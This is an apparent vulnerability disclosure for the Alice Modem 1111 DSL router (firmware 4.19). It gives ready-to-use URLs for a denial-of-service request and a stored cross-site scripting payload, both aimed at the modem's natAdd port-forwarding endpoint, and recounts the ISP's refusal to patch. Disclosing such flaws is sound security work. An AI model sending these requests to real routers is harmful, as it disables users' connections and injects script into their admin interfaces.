German ISP 'Alice' has been shipping custom embedded devices (DSL
modems/routers etc.) for the past few years. Their first self-branded
DSL modem, Alice Modem 1111, using firmware version 4.19, is prone to at
least the following two security vulnerabilities (after it has passed
initial configuration).

1. Denial of Service (DoS) via HTTP GET:
http://alice.box/natAdd?apptype=userdefined&rulename=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=99

After accessing this URL, the modem fails to accept any additional
connections via any of the protocols it supports (incl. telnet). The web
interface is only available from within the LAN, but an insecure
redirect from the Internet would work to exploit this.


2. Cross Site Scripting (XSS)
http://alice.box/natAdd?apptype=userdefined&rulename=%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cx+y=&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=199&protocol1=proto_6&extportstart1=1&extportend1=1&intportstart1=1&intportend1=1&protocol2=proto_6&extportstart2=&extportend2=&intportstart2=&intportend2=&protocol3=proto_6&extportstart3=&extportend3=&intportstart3=&intportend3=

Accessing this URL via HTTP GET or POST makes the router set a port
forwarding rule whose label ('rulename') contains javascript code. Due
to lack of (server side) input validation, this code is run in the web
browser. Once set, additional requests to the listing of port forwarding
rules at
http://alice.box/webconfig/portforwarding/main_portforwarding.html
will cause the javascript code to be executed, and may trigger cross
site scripting.


Telefonica Germany, previously Hansenet Telekommunication, has been
notified about these issues multiple times starting 2011-03-01. One day
later, I received a response indicating this model is no longer being
shipped and that there will be no fix for it. Additional attempts to get
in touch, explaining that this does not help any of the clients who are
already using this device, were not responded to (other than by
confirming receipt).

The same ISP has their 'secure' client area accessed via
https://www.alice-dsl.de which has obvious implementation flaws:
https://www.ssllabs.com/ssldb/analyze.html?d=www.alice-dsl.de
(which I notified the company about on 2010-12-20)

Moritz Naumann
-- 
Naumann IT Security Consulting
Samariterstr. 16
10247 Berlin
Germany